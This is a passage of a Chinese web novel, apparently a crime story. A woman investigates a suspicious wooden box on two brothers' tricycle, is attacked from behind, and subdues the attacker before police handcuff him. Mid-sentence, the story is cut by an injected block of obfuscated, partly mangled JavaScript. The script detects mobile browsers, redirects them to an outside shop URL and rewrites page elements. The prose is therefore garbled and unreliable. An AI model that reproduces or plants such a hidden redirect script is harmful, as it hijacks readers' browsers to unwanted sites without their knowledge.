范小康像是没怎么跟人打过交道,见许天过来就紧张地摆手,话却说不出一句。 许天伸手假装去推车,其实是向下压,车子正在过门槛,前轮刚过去,她这一压,车咯噔一下,停在那里,她趁机把车上那个箱子仔仔细细扫了一遍。 没有血手印,没有特殊的痕迹或标志,似乎这就是个普通的木头箱子,放的那个位置正好当个长板凳。 范大州走过来,他已经恢复了正常,笑着说:“天天,这点活儿,小康自己能干,你别把他当傻子。” 许天什么都没找到,多少有些失望,她刚要收回视线,突然发现箱子下边的碎花套袖有点眼熟,“咦,这不是吴婶子的套袖吗?怎么扔到你们车上了?” “啊?什么套袖?”范大州一脸迷茫地看看车上,然后从箱子下边抽出套袖,“这是吴婶子的?你确定?我也不知道怎么回事,吴婶子没用过我家车啊,兴许是跟我说话的时候,不小心弄掉了?” 套袖这东西很常见,现在的人都很珍惜衣服,干活的时候会戴上套袖,免得磨袖子,所以大部分人的套袖是深色的,甚至是用工作服改出来的,耐磨又耐脏。 吴婶子给自家孙女做了好看的碎花套袖,人家不要,她就自己戴起来,还多次展示给别人看,来证明不是她不管孙女,是孙女不领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13263339|139850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,所以此时许天一眼认了出来。 “就是她的,前天她还问我要不要,大热天的我真不习惯戴这种东西,就婉拒了,她怎么会把这东西送给你们?” 许天一边说着一边再次打量箱子,这箱子真不小,可以蜷缩着躺一个成年人,只要不是大胖子,完全放得下。 范小康似乎吓到了,想赶紧把车推进去。许天一把拉住三轮车的后帮,“急什么啊,这箱子里放了什么?你这么紧张?” “没……不紧张……”范小康往许天身后看了眼,眼神似乎没那么慌张了,但还是有点结巴。 许天发现他的眼神变化,马上提高警惕,但还是不肯放弃:“小康,吴婶子不会跟你们捉迷藏呢吧,她会不会偷偷藏进你的百宝箱里,想吓你一跳。” 范小康一听这话再次紧张起来。 许天还想诈他,却听到脑后生风,似乎有什么重物朝自己头上砸过来,她早有准备,一曲右膝,猛地往下一蹲。 哐当一声,范大州手里的木头没砸到她,用力过猛,整个人扑在车上,发出剧烈的声响。 就在范大州拿门挡往许天头上砸时,范小康也伸着双手,似乎在等着接她。 许天起身时,看到范小康惊讶的表情,瞬间明白了,这兄弟两个以前肯定这样配合过。 范小康在前吸引注意力,范大州在身后把人打晕,然后范小康再把人扶住,免得倒地发出声响。 她此时几乎百分百认定眼前这个大箱子装过活人或死人,总之这绝对不是什么装玩具装宝贝,顺便当座椅的普通箱子。 范大州没打到她,自己却被手里的门挡打在脸上,肋骨也硌到车帮上,疼的脸变了形,正艰难往起爬。 范小康见没能把她打晕,转身就想往家里跑,许天厉声道:“站那儿不许动。” 她一边说着一边抓住范大州的胳膊,用力一拧。 范大州啊的一声惨叫,险些跪倒地上。 外边的动静也惊动了罗主任家的宁越和胡东,他们匆匆出来时,正看到许天把范大州按倒在地上。 胡东吓了一跳:“小许,怎么回事?” 许天无奈道:“目前我也不是很清楚,我只是想看看他们箱子里有什么东西,范大州就从身后袭击我。光天化日的,我还说了公安局的刑侦队长就在罗主任家,他还敢这么干,这绝对是有问题啊!” 宁越气得瞪她:“袭击你?你哑巴吗?有事喊我们啊,没受伤吧!” “没事!宁队,我怀疑箱子里有人!” 罗主任两口子已经吓傻了,“有什么人?死人吗?” 许天也不确定。 胡东掏出手铐过来给范大州戴上,范大州大喊冤枉,“我什么也没干,这是个误会。” 许天冷笑:“误会?我就想看看箱子里有什么,你拿着那么粗的门挡跑到我身后砸我后脑勺,这叫误会?” 宁越看了凶器一眼,更后怕了,那门挡是用来顶门的,老粗了。 范家这种老式的门,用这种木头在里边顶住算是手动反锁,门挡可能一直放在门后,这要往许天头上砸一下子,不死也得脑震荡啊。 让人惊讶的是范小康居然很听话,许天让他站那儿,他居然就一动不动地站在那儿,呆呆听着他们说话,哪怕范大州被铐上了,他都没吭声。